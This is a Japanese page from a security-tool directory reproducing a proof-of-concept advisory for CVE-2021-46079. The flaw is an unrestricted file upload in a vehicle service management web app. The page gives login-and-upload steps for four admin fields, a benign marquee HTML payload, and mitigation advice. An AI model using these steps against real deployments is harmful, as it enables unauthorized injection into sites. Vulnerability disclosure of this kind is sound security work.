Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/sanupl/cve-2021-46079
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubsanupl/cve-2021-46079

CVE-2021-46079

CVE-2021-46079 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードし、HTMLインジェクションを引き起こす可能性があります。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-46079

エクスプロイトタイトル: Vehicle Service Management System - 'Multiple' ファイルアップロードがHTMLインジェクションを引き起こす

エクスプロイト作者: SANU P.L

CVE: CVE-2021-46079

CVSS: 7.2 HIGH

参照:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46079
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079

説明:

Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードし、HTMLインジェクションを引き起こす可能性があります。

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

エクスプロイト:

  1. 管理パネルにログインします http://localhost/vehicle_service/admin
  2. 「My Account」セクションに移動します http://localhost/vehicle_service/admin/?page=user

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 上記のHTMLコードを保存します。例: Html Injection.html
  2. 「My Account」セクションで必要な詳細をすべて入力し、アバターでHTMLファイルを参照して選択します。
  3. 更新ボタンをクリックします。
  4. 新しいタブでアバター画像を開きます。
  5. HTMLインジェクションが実行されます。

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

エクスプロイト:

  1. 管理パネルにログインします http://localhost/vehicle_service/admin
  2. 「User List」セクションに移動し、「Create New」ボタンをクリックします。

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 上記のHTMLコードを保存します。例: Html Injection.html
  2. 「Create New User」ページで必要な詳細をすべて入力し、アバターでHTMLファイルを参照して選択します。
  3. 保存ボタンをクリックします。
  4. 新しいタブでアバター画像を開きます。
  5. HTMLインジェクションが実行されます。

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

ペイロード:

  1. 管理パネルにログインします http://localhost/vehicle_service/admin
  2. 「Settings」セクションに移動します http://localhost/vehicle_service/admin/?page=system_info

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 上記のHTMLコードを保存します。例: Html Injection.html
  2. 「Settings」セクションで必要な詳細をすべて入力し、システムロゴでHTMLファイルを参照して選択します。
  3. 更新ボタンをクリックします。
  4. 新しいタブでシステムロゴの画像を開きます。
  5. HTMLインジェクションが実行されます。

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

エクスプロイト:

  1. 管理パネルにログインします http://localhost/vehicle_service/admin
  2. 「Settings」セクションに移動します http://localhost/vehicle_service/admin/?page=system_info

ペイロード:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
  1. 上記のHTMLコードを保存します。例: Html Injection.html
  2. 「Settings」セクションで必要な詳細をすべて入力し、ウェブサイトカバーでHTMLファイルを参照して選択します。
  3. 更新ボタンをクリックします。
  4. 新しいタブでウェブサイトカバーの画像を開きます。
  5. HTMLインジェクションが実行されます。

影響:

攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、これによりHTMLインジェクションが発生します。

緩和策:

以下を実装することをお勧めします:

  • ホワイトリストフィルタなしで、ファイル名とその拡張子を直接受け入れないでください。
  • Unicode文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強くお勧めします。
  • サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限してください。
  • アップロードディレクトリには「実行」権限を付与しないでください。
  • クライアント側の検証のみに依存しないでください。
ツールをダウンロード